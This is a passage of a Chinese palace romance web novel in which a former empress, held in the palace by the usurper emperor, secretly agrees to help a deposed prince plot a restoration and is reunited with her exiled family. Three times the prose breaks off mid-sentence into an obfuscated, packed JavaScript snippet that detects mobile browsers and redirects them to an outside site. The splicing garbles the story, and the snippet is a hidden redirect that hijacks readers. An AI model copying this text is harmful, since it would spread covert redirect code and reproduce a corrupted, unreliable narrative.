谢玄兀自生着闷气,没注意到虞枝早就悄悄睁开了眼睛,盯着谢玄的背影。 因是夏天,黑色的外衫很是轻薄,之下的肌肤纹理暴露无遗。一条从肩膀蜿蜒到肋侧的刀疤狰狞扭曲,虞枝不知道这是他什么时候受的伤。 也许他受伤时她正忙着出嫁,或是在管理六宫,又或者是孤身跪在长信殿期盼天明。一个流血,一个流泪。虞枝心中酸涩,泪眼模糊了视线。 只有在这种对方无法探知到她的片刻里,在她自己都还没缓过神的瞬间中,她才能肆无忌惮去想,去流泪。 少年的身形早已经变得宽厚坚实了,宽肩窄腰,在衣衫的遮掩下颇具美感。 可是虞枝一旦细想就会回想起刚才自下而上望见的一幕,她不是不经人事的小女孩,垂顺的亵裤根本遮盖不住男人腿间的形状,她想起已经死去的元临带给她的痛苦,心中就觉得恶心害怕。 谢玄不知道缘由,只当虞枝是厌恶狠了他。 他终于忍不住回了头,正对上虞枝还没完全收回去的泪眼。他沉默一会,闷声道:“睡觉。” 说着,扯了虞枝身上的锦被把虞枝裹严实,而后自己也钻了进来。 虞枝身体一僵,正要退后离开这具热得过分的身体,却被一双有力的手臂禁锢住。 “你要做什么?”虞枝警惕。 谢玄冷哼,心道若是他要做她岂能逃脱,“做我想做的事。”说完便要抱着虞枝入睡,却被虞枝冷冷的话语挑起拌嘴的兴意。 “你不怕我吐你一身。”虞枝眼皮直跳,终于趁着谢玄愣神的片刻逃脱出来。因着她觉得跨过谢玄身体逃跑这条路太过容易被谢玄拉回来,便只能朝后缩去,抱成一团。还好她衣服穿得妥帖,折腾一番也只是领口松了松,半点春光也没有外泄。 “哼,我刚伺候娘娘擦洗完,娘娘说我嫌不嫌弃。” 虞枝被气得牙根痒痒,同时心里隐约琢磨出眼前这个贼人似乎真的不介意她会吐他身上这件事,于是在内心不安的催促下道:“那还请您先赐给我一碗绝嗣汤,免得我玷污了你们谢氏皇族的血脉。” “……” 谢玄张了张嘴,怒极反笑。 虞枝是知道怎么激怒他的。 他敢保证虞枝那张美丽的樱红色唇齿只要再吐出几句话,他就会被气得当即殡天。 “若是娘娘再不老实躺下,”谢玄威胁,“我就认为娘娘是想先沐浴再安寝了。”谢玄说着,脱下黑色的外衫。这下一点遮掩都没有了,精瘦但蓬勃的胸膛赤/裸/裸地亮在虞枝眼前,他大有虞枝再不听话就脱光了和虞枝共浴的架势,虞枝被吓得扯了另一个被子把自己裹严实躺到了床里边。 谢玄‘呵呵’笑了两声,眼中尽是戏谑。 看你逃到几日。 谢玄慢悠悠地盖好被子,背过身闭上了眼睛。 他也不是没有脾气,今夜接二连三的,他真的怕被气得英年早逝。指望背后那个没心肝的女人来心疼心疼是暂时没可能了,谢玄只能干脆眼不见心为净。 一夜梦长。 谢玄醒得很早。 还不到上朝用膳的时间,他就起了身,独自在床榻边坐了会,似是回味着什么,而后才轻声叫了胡伽备水沐浴,回到寝殿,见虞枝也醒了过来,她正十分着急地往自己身上裹衣服。 谢玄看着那一成不变的素色衣服就觉得碍眼。他不让虞枝给元临守孝,她就变着法地挑了雅净的衣服来穿。 不用想,他只要一质问,虞枝就会立刻反驳道:我就是喜欢素净的衣服。 可是她从前分明是最喜爱艳丽的,站在人群中像只翩翩的蝴蝶,是游荡在花丛中的仙子,而不是尼姑庵里寡淡的僧尼。 “胡泉。”谢玄出声,“去叫内府给皇后订做几件颜色鲜亮的衣服,挑红的、紫的、黄的、蓝的这些,就用前朝国库里江南各府上供来的料子,至于西域东胡交易来的奇珍异宝也都一应用上。” 胡泉一定是大早上没睡好,才会不合时宜地问了一句:“陛下不是要厉行节俭吗?帝后本为一体……” “节俭能节俭到皇后娘娘头上吗?”胡伽倒吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040475|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口冷气,连忙抬手拍打了一下胡泉的冠帽,制止了自己傻侄子的愚蠢言行。 胡泉也回过了味,连忙跪下请罪。 谢玄挥了挥手,示意胡泉下去办差事,只是脸色不虞。一个女人能花多少银子?他又不是昏庸的元临,他一不造摘星阁,二不上供赔款,仅仅是给自己的妻子做几件新衣服又有什么的。 谢玄手从虞枝衣箧滑过,然后面无表情地将里面跟守孝似的白色衣服一一丢出来让宫女拿去扔掉。 自从虞枝失宠于元临后,她行事便更加低调,加上她入宫许久,已经不算是新人,就学着宫里性格恬淡的老人一样穿起了素净的衣服,因此衣箧中大多都是规矩不出格的。 显然,谢玄都不满意。 虞枝忍下,默默系好了衣带,抗住了谢玄停留在她身上的目光。 还好,他没一举让人把她身上穿好的这件给扒下来扔掉。 只是……虞枝觉得谢玄停在她身上的目光似乎太久了些。 “用膳吧。”谢玄收回眼神,平静的声音藏着些喑哑。 虞枝不明所以,但还是乖乖跟了过去。经过昨夜,她心里的危机暂时解除,看来只要不过分地和谢玄反着来,她还是能吃到好果子的。 但是虞枝内心已经决定要干个大的——学谢玄造反。 虞枝闭了闭眼,尽量劝说自己是为了匡扶正道。若是父兄知道自己的想法,他们也一定会支持的。他们本就是元澈的忠实守护者,即使面临流放,他们也未曾对元氏一族有过不臣之心。 不知他们现在可好。 “过几日我会让你母亲和姐姐进宫陪你一段时间。”谢玄夹了一筷子青笋,搭配着热腾腾的白粥吃了下去。他常年在沙场征战,风餐露宿,养成吃饭迅速的习惯,因此说话是说话,夹菜的动作没停过。 “至于你的父兄,我已命人接他们回京。”谢玄给虞枝夹了晶莹剔透的东坡肉,给自己夹了如意凉糕。 “什么?”虞枝愣愣地看着谢玄,她从没想过她的家人还可以在新朝得到厚待。她们虞家为元氏鞠躬尽瘁,可是下场也不过是流放贬官,而谢玄分明与他们没什么牵连恩情,却免了他们的流放之苦。 “看来病还是没好。”谢玄伸出大手在虞枝额头上摸了摸,见温度正常松了口气。他听太医说惊惧过度最易夜半发热,担心了许久。 虞枝感谢的话说不出口,斥责的话更不能说。只能埋头吃菜,直到谢玄即将起身上朝,她才发觉谢玄一早上竟然只吃了几样素菜,荤菜他是一点都没动,全夹到了她的碗里。 虞枝狐疑地看向谢玄。 谢玄面不改色,但是心中莫名猜到了虞枝的疑惑。 昨晚他在祈求上天的时候许下若是虞枝未曾有孕便吃素斋戒的愿望,今儿一早他想起此事便觉得棘手。 他又不能一辈子不吃荤腥,还好他向上苍许愿之时未说期限,便小小地斋戒一旬以示敬意吧。 但是这事谢玄不想让虞枝知道,便故作镇定地走了出去。 待谢玄走后,一个面生的叫玉英的小宫女服侍虞枝服药,玉英说是春桃一早吃坏了肚子,便托她来服侍虞枝。虞枝以为玉英是谢玄派来的人,没有推辞。 虞枝喝完药后,玉英没有立即退下,反而靠近了几分轻声道: “大皇子想见您一面。” 9. 心计 虞枝眼皮一跳,她看向低头收拾东西的玉英,仿佛刚才只是虞枝的臆想。 “我知道了。”虞枝没想到这个皇宫里还会有为旧朝奔走卖命的人,而且已经和元澈一方有了联系。 这会不会是谢玄的试探? 此念一出,虞枝就在心底否认。谢玄不了解元澈为人,不知道这个小孩心里藏了多少弯弯绕绕,恐怕在他眼中,元澈依旧是宫宴上只会背诗讨好元临的乖巧小儿,要试探也不会拿元澈当借口。 “胡泉。”虞枝叫守在门外的胡泉进来,见胡泉脸上依旧是谄媚的笑,不见一点异色,才稍稍放心,“谢玄走的时候可对你说了什么?”她自己转身走到铜镜前坐下,慢条斯理地翻开自己的妆箧盒,拿了只金簪子往乌黑浓密的发上比量。 “回娘娘,陛下临走吩咐奴才要好好伺候您,有什么缺的少的只管去内府拿便是。”胡泉自动忽略了虞枝对谢玄的不敬称呼,尽职尽责地推荐道:“娘娘您这几日打扮的也忒素净了,奴才看配上这只金簪子正好,还有这个翡翠嵌珠的凤凰步摇,呦,这一戴上真是让奴才分不清您是打哪下凡来的神妃仙子了。” 在梳妆打扮这方面,一旁的胡泉比虞枝起劲多了。要不是他还摸不清虞枝的脾性,早就自己动手挑了金银玉石装点到发上去了。 虞枝听着胡泉尖细又兴奋的声音,只觉得他走错了路,该让谢玄把他安排到织造司一类的地方物尽其才。 “你倒是很懂。”虞枝按照胡泉的建议妆点完。看着镜中格外光彩夺目的美人,她也有一阵恍惚,仿佛回到了刚成为皇后的那段时光。 “娘娘谬赞,奴才以前常和姐姐妹妹们厮混在一块,对这些确实是略懂一二。”胡泉语气照常,只是笑容略僵硬。 虞枝起了身往出走,外面阳光正好,是个明媚的好天气。 “你还有许多姐妹?”她随口一问,紧接着步出宫门。 隔壁宫墙拦不住的一枝桃树伸出了满缀着桃子的枝桠,胡泉怕桃子碰到虞枝,忙伸出手去挡。 香甜的桃子果香充盈进鼻间,令人心情放松了些。 宫中的桃树是元临命人从附近的冀州移植过来的,只因他喜爱桃子的香气和色泽,还曾在朝中设了一个专门运桃的桃花使。 “从前奴才家子孙财运旺,光奴才家这一支就有八个兄弟姐妹。”胡泉一边掸开垂着丰实果子的枝叶,一边应答。 虞枝听到这才侧目认真看了看胡泉,发现他皮白肉细,不像是穷苦人家的孩子,倒像是个从小养尊处优,后来才遭祸入宫的。毕竟家丁兴旺的人家少有送孩子来做阉人的。 虞枝哪里不懂得其中的艰辛难言。有多少人家今日笑明日哭,就连三代宰相的虞家都抗不住反复无常的君恩天命,又何况是普通的富贵人家呢? 虞枝心里带了些怜悯,对胡泉的语气也温和下来,“你是哪里人?” “奴才是齐鲁人士。” “齐鲁?是个人才辈出的地方。”虞枝有些印象,齐鲁之地多出贤才,且物产丰富,元临曾三次驾幸,只不过都是带着苏贵妃。“前朝皇帝很喜欢那里的桃子。”她随口道。 “是。” 不知是不是虞枝的错觉,她觉得胡泉这个‘是’有些咬牙切齿的味道。 “娘娘是要去哪呀?”胡泉似乎觉得刚才失态,忙转换了话题。 虞枝底气不足,“翠薇宫。” “啊?”胡泉心里叫苦,“娘娘不是刚去过嘛。要不奴才陪您去御花园逛逛吧,狭小逼仄的翠薇宫有什么好……” 虞枝不听,熟练地推开翠薇宫的大门。一旁的侍卫你看着我,我看着胡泉,得不到指令,干脆开始装瞎,任由虞枝再次进入。 里面依旧没什么生气,多数人似乎已经认了命,过着麻木的日子。华贵的衣裙沾了灰,青一块黑一块,好生狼狈。有些聪明的拿了头上的金钗去找侍卫或者翠薇宫的旧主人棠贵人通融,好说歹说换了几件干净得体的衣服换洗,虽不复往日的神采飞扬,但至少还留有正常人的尊严。 不过这些体面苏贵妃一概没有,一来她拉不下脸面低三下四地求人,二来她树敌太多,没人肯帮她。 她此刻还穿着那身葡萄石榴纹红裙,外面套着金丝大袖衫,丝线被拉扯成一团理不清的乱麻,远远看去像是爬满细枯藤的旧园泥墙。 “母妃。”元澈从门户敞开的翠薇宫正殿里跑出来,手中端着一个装满凉水的白瓷碗。他年龄尚小,脚步迈不大,折腾起来跟只卷毛小狗似的笨拙可爱。 他余光瞥见了虞枝,但也只是脚步一顿,紧接着他继续跑到苏贵妃身边跪下,把碗递到苏贵妃唇边,“母妃,喝点水吧。” 棠贵人是翠薇宫的旧主人,对翠薇宫了如指掌,又联合了从前和苏雨兰不对付的五六个妃子霸占住了整个翠薇宫,不但翠薇宫的正殿偏殿不让苏雨兰住,就连每日送来的食物和水都要克扣。 元澈眼见着苏雨兰斗志渐弱,忙卖乖从一个心善的妃子处讨了水来给苏雨兰。 苏雨兰眨眨眼,发觉双眼干涩得要命,嗓子也跟冒烟了般不适,此时见了清凉的井水简直是久旱逢甘霖,将碗中的水喝了个干净。 “澈儿,你手怎么了?”喝完水,苏雨兰竟一时没有先注意到贴着大门站立的虞枝,而是发现元澈的手指被什么划伤了一块,刚止住血,“她们欺负你了?”苏雨兰往最坏的结果想,手都开始颤抖。 “没有。”元澈垂下眼睛,十分乖巧地摇摇头,“是儿臣给母妃端水的时候不小心,被碗划伤了。”元澈转动白瓷碗,把带有细细缺口的一角转给苏雨兰看。 然后他状似不经意地回过头,吸引了苏雨兰的目光朝虞枝看去。 二人目光交汇。 “呵,你竟然又来了。”苏雨兰的表情简直就是在明说虞枝脑子有病,“跑来找我耀武扬威?”她在元澈的搀扶下站起身。 有些人注意到这一幕,但没有出声,默默注视着事情的发展。 “耀武扬威?”虞枝嘲讽一笑,“都已经到了今天这个地步,你还把我当成你想象中的敌人,真是替你感到悲哀。”虞枝说完把目光转向元澈,“元澈,过来。” 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040476|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨兰顿时警惕,但转念一想知道虞枝不会是拿小孩子开刀的卑鄙小人,就放了元澈过去,自己则浑身肌肉紧绷地看着虞枝蹲下身和元澈平视。 “元澈,你在这里缺些什么就告诉母后。”虞枝将头上带着的金簪银钗卸下来塞进元澈手里,她知道谢玄把他们扔在这里后便不大管了,这里吃的喝的一应由内府配送,只要饿不死他们就行。多数人都想尽了办法掏出自己的体己来同外边的侍卫做交易,为的就是让自己的日子好过些。 虞枝料想苏雨兰舍不得象征自己贵妃身份的珠钗金玉,便自己多带了些首饰过来交给元澈,来日谢玄问起她也没什么好隐瞒的,不过是一点金银罢了。 阳光照耀下,金银散发着闪亮的微光,天底下没人不爱这身外之物的美丽。 胡泉看得肝颤,他今天用心给虞枝搭配了那么久,到头来都成了别人的囊中之物。胡泉不知该哭该笑。 “娘娘,这若是让陛下知道了,恐怕会……” “他既说了继续让我当皇后,那这皇宫便有一半是我的。我拿我的东西送人不行吗?何况他还唤我一声母后。”虞枝面不改色地松开元澈,将攥起的手掩藏进宽大的衣袖中。 胡泉听了直冒冷汗,暗道神仙打架,小鬼遭殃,只能嘴上附和道:“娘娘说的是。” 虞枝又待了一会,索性吩咐胡泉让他找内府的人多送些吃喝衣物来,胡泉一一应下。 待回到凤宁宫,虞枝喝了药,以身体疲乏为由把所有人赶到了门外候着,她一人则在帘帐内悄悄拿出了一直攥在手中的纸条。 是元澈趁着她送东西的时候塞过来的,粗糙的宣纸掩盖不住晕染,鲜红顺着宣纸的脉络似河流分支流淌,主干则聚集成一个个汉字。 这是一封血书,一封求虞枝帮他复国的血书。 上面写着可以用到的人名,从宫女太监到王公贵族,甚至虞枝的父兄也在其中。元澈还写道希望虞枝能帮助他麻痹稳住谢玄,待集齐人手之日发动宫变,甚至在信的末尾保证尊她为独一无二的东宫皇太后。 血书字迹平稳清晰,横平竖直尽显其沉稳心态。一个十岁幼儿能缜密到如此地步,已经十分难得。 虞枝阅后即焚,看着一簇燃起火苗将血书吞噬,她才放下心。待到仔细一想,才发觉出其中不对劲的地方。 元澈既然能找到玉英帮他传信,就代表着他在翠薇宫并不是像他看起来的这么孤立无援,何以找不到正常的笔墨纸砚书写一封密信?他以血代墨,一来是彰显他的决心,二来是博取虞枝的同情。 小小年纪,心计至此,就连虞枝也不能不觉得害怕。若是元澈真的当了皇帝,虞家的下场能好过今日吗? 她刚有这个念头就忙摇摇头,她现在最该想的是如何匡扶正统,而非为虞家一己之私铸成遗憾。 她思虑甚久,不知不觉间沉睡过去。夏风从窗子吹进来,拂过结着寒霜的青铜冰鉴,寒气混合着热风浸凉了室内。 谢玄静静看了会纱帘里若隐若现的曼妙身影,沉吟着问道: “你说她去看了元澈?” 10. 相见 谢玄对元澈的印象还停留在他傻笑着扑进虞枝怀里,结果被苏雨兰在宫宴上当着王公大臣的面数落一通,垂头不语的样子。 看起来倒像是个不谙世事的孩子,也许虞枝喜欢他。 谢玄对此倒没觉得有什么,毕竟虞枝是宫里所有皇子公主的母后,同元澈有感情也是再平常不过的事情,他在意的是另一件。 “你说今天皇后亲口承认了她是皇宫的半个主人?”谢玄嘴角含笑,并不在意头顶的烈阳,兀自坐到了树荫下的石凳上。 胡伽忙朝胡泉道:“把今天娘娘说过的话全都复述一遍。” 胡泉仔仔细细回忆着,一句不漏绘声绘色地把虞枝说过的话讲给谢玄听,等到到了谢玄最期待的一句,他还特地清了清嗓子,学着虞枝的语气道: “他既说了继续让我当皇后,那这皇宫便有一半是我的……” 胡泉没说完,谢玄就忍不住大笑出声。 “继续。”他对胡泉示意,笑容显然还没有收回去的架势。 胡泉知道眼前这位主开了心,更加卖力道:“我拿我的东西送人不行吗?何况他还唤我一声母后。” 这话的后半句谢玄不是很满意,但好在前半句已经足够他回味的了。 “做的不错,去领赏吧。”谢玄眼神看向那重轻纱帷幔,虽然从他这个位置看不清里面人是睡是醒,是喜是忧,但是经由他的想象,已经把方才的画面一一还原。 她说她说皇宫的主人,等于变相地承认了他的地位,承认了他和她的关系。 谢玄心情大好,暂时打消了想要立刻行立后大典的念头。 既然她人已经开始退步,他又何须步步紧逼。 “照顾好皇后。”谢玄站起身,准备回紫宸殿和大臣们商榷重开科举与赈灾之事,隔着纱帘见过了虞枝一面,暂解相思,终于不用人在紫宸殿,心却飞到凤宁宫去。 等到虞枝醒来已经是天色将晚,红霞漫天,温柔的紫铺盖苍穹,皇城的红墙琉璃瓦矗立在浓郁的颜色下,一群飞鸟掠过,扇动晚风几缕,而后慢慢变成一群小点,朝宫外飞去。 虞枝专注地盯着那群自由的鸟儿,被其活泼乱跳的模样弄痛了眼睛,不舍地收回了目光。 这时候宫外长街必定是热闹非凡的,杂耍的艺人顶碗吞剑,卖油郎沿街叫卖,茶楼雅间伎子们吹拉弹唱,与书生富商们推杯换盏。寻常人家的妇人买了菜,提着篮子也要准备归家去了。 这些情景跟画似的印在虞枝心里,不时在她眼前浮现,尽管她已经多年没有踏出过宫门一步。 她想,若是元澈大计成功,她想要的也许并不是成为天下最尊贵的东宫太后,她想要回到从前,回到自己还自由的时候,像这群飞鸟一样,想去哪就去哪。 虞枝觉得这想法已经是她最离经叛道的反叛,可是待匡扶社稷那日来临,无论成功与否,她都不会再是王朝的皇后。如果她还活着,身上的担子是否可以放下了呢? 虞枝倚靠着窗边,喝下了春桃递过来的药。 几日时光在平静中度过,因着谢玄忙于朝政,一时间除了每日午时雷打不动地来同她用午膳之外,虞枝很少能在其他时候见到他。尽管胡泉一直在她身边朝她吹耳边风,想要她张口亲自请谢玄过来,但是她全当耳旁风左耳进右耳出。她一个人待着至少心里还能平和些,不用担心这担心那,她脑子坏掉了才会请谢玄过来给自己添堵。 自从决定和元澈密谋夺权,虞枝就已经开始时不时地担忧起未来。 如果失败了……虞枝不敢想谢玄会暴怒成什么样子,不知道他会不会对她处以极刑,更不知道这将会牵连多少人。 所以她想等到见过父兄后再做打算。 这日虞枝正铺展了画纸,终于打算开始画一幅丹青给谢玄。刚一点墨,门外就传来春桃有些兴奋的声音,伴随着她哒哒的脚步声。 “娘娘,虞大人和虞夫人进宫来了,此刻就快到凤宁宫外了!”春桃只见过一次虞家人,但是这不妨碍她为虞枝即将见到家人高兴。 ‘啪’地一声,虞枝画笔没拿稳掉在宣纸上,墨汁瞬间飞溅出点点梅花。 虞枝顾不上去看,忙提裙走出去。 果然,外边抬轿子的平稳脚步声已经渐近,紧接着太监的一声‘落轿’使得整齐的声音一瞬间停下,她的父母兄长从轿子出来。 “父亲……”她轻声,接下来的‘母亲、兄长’像是卡在喉咙似的,叫不出来,咽不下去,未语泪先流。 风尘仆仆、满鬓繁霜的几人犹如让虞枝下滚水里烫了一遭,从里到外找不出一处完好的地方,直要把她的灵魂都煮沸,她才反应过来,跑上前抱住了自己的母亲。 空荡的衣衫下是虞夫人骨瘦如柴的躯体,自从虞家失宠于皇帝,她就没有睡过一个安宁觉。不是为在外的丈夫儿子担心,就是为在内的女儿担心。 虞夫人对元临已是早有怨言,只是丈夫儿子是坚定的保皇党,女儿又是皇帝的妻子,一切不满只能打碎了牙往肚子里咽。这回谢玄谋反建立新朝,反倒是让她有了一丝隐秘的痛快,甚至当她听说谢玄割了元临的头,烧了元家的庙宇之时,她也未曾觉得有什么。直到谢玄离经叛道地把自己女儿虞枝留在凤宁宫,而他日夜出入,置流言蜚语于不顾,她才琢磨出些与众不同的东西来。 谢玄怕是早对虞枝存了觊觎之心。 新朝皇帝与前朝皇后,实在是不能宣之于口的禁忌。 虞夫人心里五味杂陈,一方面希望自己女儿要不然就从了谢玄,至少眼下让自己过得好些,一方面她对自己女儿又是再了解不过,知道虞枝宁为玉碎不为瓦全的性格。一时虞夫人后悔不已,暗叫不该让虞枝学那么多礼教规矩,养成和虞家父子一样的一根筋脾性,反倒是害了女儿。 “我的女儿,这些日子可是受了不少委屈吧!”虞夫人捧起虞枝的脸翻来覆去检查了几遍,不见有被虐待的痕迹才稍稍放下心。毕竟不能指望一个乱臣贼子多么爱惜虞枝,虞夫人猜测觉得是谢玄被虞枝的美貌吸引才昏头要立虞枝做皇后。虞夫人自诩是过来人,对男人看得清楚,因此更是恐惧谢玄对虞枝失去了新鲜感后折磨她。 “母亲,我在宫里一切都好。”虞枝强忍着悲伤,收起眼泪。又听哥哥和父亲简略说起流放途中之事,差点再次泪崩。 几千里的流放之路,她的父亲和哥哥用脚丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040477|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量。她甚至很想问一问,此刻,他们究竟恨不恨元临。但是凤宁宫人多眼杂,虞枝只能把一切按下,先叫人传膳,一家人吃了个团圆饭。 凤宁宫里人声阵阵,接连着笑语欢声,明黄灯影绰约投映到青石子路上,映得人影渐长。 “罢了,回紫宸殿吧。”谢玄沉吟片刻,终是不忍打断凤宁宫的安乐。 听太监来报,虞家父子对他似乎是……颇有怨念。恨他身为臣子不忠,恨他身为儿子不孝,更恨他身为外男无礼,毁了他女儿的清誉。 更深露重,翠绿修长的蔓草滴下晶莹的露珠,沾湿过往来者的衣摆,偶有浸凉沁入皮肤。 谢玄心不在焉地走着,胡伽在他身后适时问道:“陛下,可要叫人备些吃食?” 自前几日东胡传信将派遣使者来朝,外族铁蹄蠢蠢欲动,风波未平的燕云再起波澜,谢玄整日议事批奏折,只有在虞枝宫里,他才能暂时把一切放一放,安心吃一顿再普通不过的膳食。 不过今天,他一早知道虞家人要进宫,就知趣地没去打扰,把自己关在紫宸殿处理接待东胡使者的事宜。 他只是一个人,不能凭空变出粮食钱财,只能耐着性子一步一步来按轻重缓急处理积压的朝政。只是在东胡的虎视眈眈下,多少怀念着旧朝的乡绅贵族生出不安分的心思,有如窥伺在暗处的毒蛇,等着给谢玄致命一击。 他不能松懈。 只是……谢玄最后再望了一眼灯火通明的凤宁宫,接着就要转身拐过甬道,消失在凤宁宫前。 黑袍被夜风吹得飒飒翻飞,冷峻的眉眼静默在莹白的月色中,红唇微抿,长身玉立。不知怎么的,生出无限落寞。 他已经有两日未曾见过虞枝,虽说有胡泉把她每日的行踪都禀告给他,但犹如饮鸩止渴,探求得越多,就越想要接近。像是沙漠中的旅人不满足于涓涓的水滴,非要自己贴上去,攫取尽最后一点湿润才罢休。 谢玄下意识握紧了腰间悬挂着的东西。 方才在紫宸殿批阅奏折昏沉小憩,入梦见到虞枝坐扶在他身侧向自己撒娇讨厌腰间新得来的玩意儿,他轻笑说那本来就是准备送给她的。梦里虞枝眼睛亮晶晶的,一眨不眨地盯着他,非要他说出些什么似的。 谢玄动了念,正要拉她起来,却不想被她笑推了一把,而她的身影却像是翩飞的蝴蝶,飞入光的尽头消失,大梦初醒。 谢玄才觉想要见一见虞枝。 “把这个私下里送过去。”谢玄摘下腰间挂着的赤金小马坠。 小马动作灵活生动,踏云而行,身形健硕。最可贵的是小马的眼睛是由两颗极小的黑玉镶嵌而成,温润的光泽宛如画龙点睛,增添了许多趣味生机。小巧的金坠子足金足量,给女孩子家把玩消遣倒是极好。 这是谢玄在凉州驻守时从一位游历西域的诗人手中买下的,他记得虞枝属马。 谢玄打发了胡伽亲自去送,自己则回到了紫宸殿。 “陛下。”紫宸殿守着的小太监忽地开口。 “怎么了?”谢玄提起朱笔。 小太监犹豫一瞬,而后道: “陛下的母亲派人来传话,说是想见陛下一面。” 11. 至亲至疏 母亲……谢玄眉心一跳,说起来他已经有三四年未曾见过她。 不是他不想见,而是母亲过得很好,他出现只会毁了一切。 那时他刚从战场回到京城,有了功勋奉银,终于有机会靠自己打听到母亲纪芙的下落。原来她运气好,虽被卖给了个贩马的商人,但却意外入了时任京城兵部侍郎之子孙明诚的眼,成了孙明诚的外室。 谢玄见到母亲时,她正怀抱着个白嫩娇小的孩儿在烟雨四月的断桥边赏雨,旁边就是侍郎府的马车。 纪芙见了谢玄,第一反应是高兴和庆幸,但紧接着一种莫名的恐惧和尴尬漫上她的眉眼。最终她只是站在离他一米远的地方,克制而疏离地朝他点了点头。马车车帘晃动,一个男人的声音叫纪芙上去,纪芙略犹豫片刻,终是一句话也没说就消失在了谢玄视线里。 马车平稳地朝着另一边驶去,谢玄握着腰间的鸾鸟玉佩,几乎要把玉佩碾碎。但最终他松开了手。 每个人都在向前走,这样很好。 他这样安慰自己。 但有冰凉的雨丝从他眼角滑落,滴落进尘埃。 他原想在京城买一间宅子奉养对自己有生养之恩的母亲,甚至幸运些,他会从刀剑无眼的战场活下来,娶妻生子,慢慢遗忘掉过去的不公与折磨。那时候他是想放下仇恨与痴怨,重新做一个人的。 但是没人给他这个机会。 后来孙明诚知道了纪芙的过往,知道了这些年谢玄一直在私下给纪芙送钱送物,也知道了纪芙会写书信寄向边关。此时孙明诚已经纳了纪芙为妾,只差熬死了正室就扶她做正,他未曾想到纪芙还和别的男人有一个放不下的儿子。 醋意难消的孙明诚逼纪芙做一个决断。 后来的谢玄有时候也会想,若是他早一些破釜沉舟,早点在战场以少胜多获封大将军,是不是母亲的决断就不会做得那么决绝利落? 曾经的谢玄渴望得到一个答案,但后来谢玄渐渐释然。他和母亲虽是骨血至亲,但母亲已经有了自己的家庭,他的分量已经变得越来越轻。 但不可否认,和母亲私下书信往来的那几年是他为数不多幸福时光。 至少让他知道,这世上还是有人在默默关心着他。 “陛下?”小太监等了许久,终于是斟酌着开口,“要不奴才先回了……” “她在哪?”谢玄回过神。 “回陛下,夫人随石将军进了宫,胡伽公公安排夫人在静心阁休息。”小太监遵从着胡伽的吩咐,只尊纪芙为夫人,其他的一概不多说。 “朕知道了,待到明日朕会去见她。”谢玄缓过神,暂且放下此事,重新蘸了笔墨勾画圈点。 待到第二日午后,御膳房在胡伽的授意下在静心阁摆了菜肴,谢玄亲临。 东南边的小阁原是前朝皇帝元临修仙静坐之处,修建在了御花园清荷池旁,一推开窗,满塘的菡萏清香扑面而来,伴随着阁里终年不断的檀香幽远静谧,是个静心的好地方。 胡伽推开门,恰好一个身穿红背褂腰缠黑玉带的小娃娃撞了过来,吓了他一跳,没留神控制推门的力度,把小娃娃推得踉跄了一下。屋里本慈爱微笑的女子霎时慌了神,顾不得向谢玄行礼,忙跑过去准备去抱泫然欲泣的娃娃。 不想,有人先她一步。 谢玄十分轻松地长臂一捞,就把他从地上拽了起来。 小娃娃入目是一个陌生且冷漠的高大男人,一时惶恐,大哭起来。 “恒儿!”纪芙心疼,朝谢玄伸出手,“陛下快将他交给臣妇吧。” 谢玄闻言松开手,任由孙恒跌进纪芙怀里。 “……”谢玄斟酌着开口,“母亲怎么突然想要见我。”最终他还是没有避讳,径直坐到桌子的一旁,目光没有落在刺痛他的母慈子孝的一幕上,而是去瞧窗外无边荷花开得正盛。 荷花清幽,莲子心苦,用来消热解暑最好不过。回去该让胡伽采了些送去凤宁宫给整日三病两痛的虞枝,再问问答应送给他的那副丹青什么时候能画完。 “我……”纪芙检查了一番儿子,见他只是娇气才放声大哭,放下心来,咬唇看着面前这个已是万人之上的儿子。 他身量已经长得比他父亲还要高大,面容却肖似年轻时的她,不言不语时总环绕着一股拒人于千里之外的冷意。只是她的冷被命运捉弄尽然折断了去,而她儿子的还保留着,只是连她这个生身母亲都接近不了一点。 纪芙开始时也懊悔自己把这个儿子推得太远,午夜梦回时也会回想起他们母子二人在环狼伏虎的将军府的日子。那时谢玄还年幼,但性子倔强,从不肯低头,为此不知挨了多少打骂。 也正是他的桀骜不驯,才在主母和谢宸的迫害下保住了她的性命和清白。所以她那时候也把谢玄当成唯一的指望,全心全意地希望他能平安长大,以后将她带离开将军府去过寻常的日子。 冬天一起用呛人的黑炭烤红薯,夏天一起在树下纳凉,谢玄读书练武,她补衣衲鞋,日子一天天的过去。直到谢宸将目光放在了她身上。 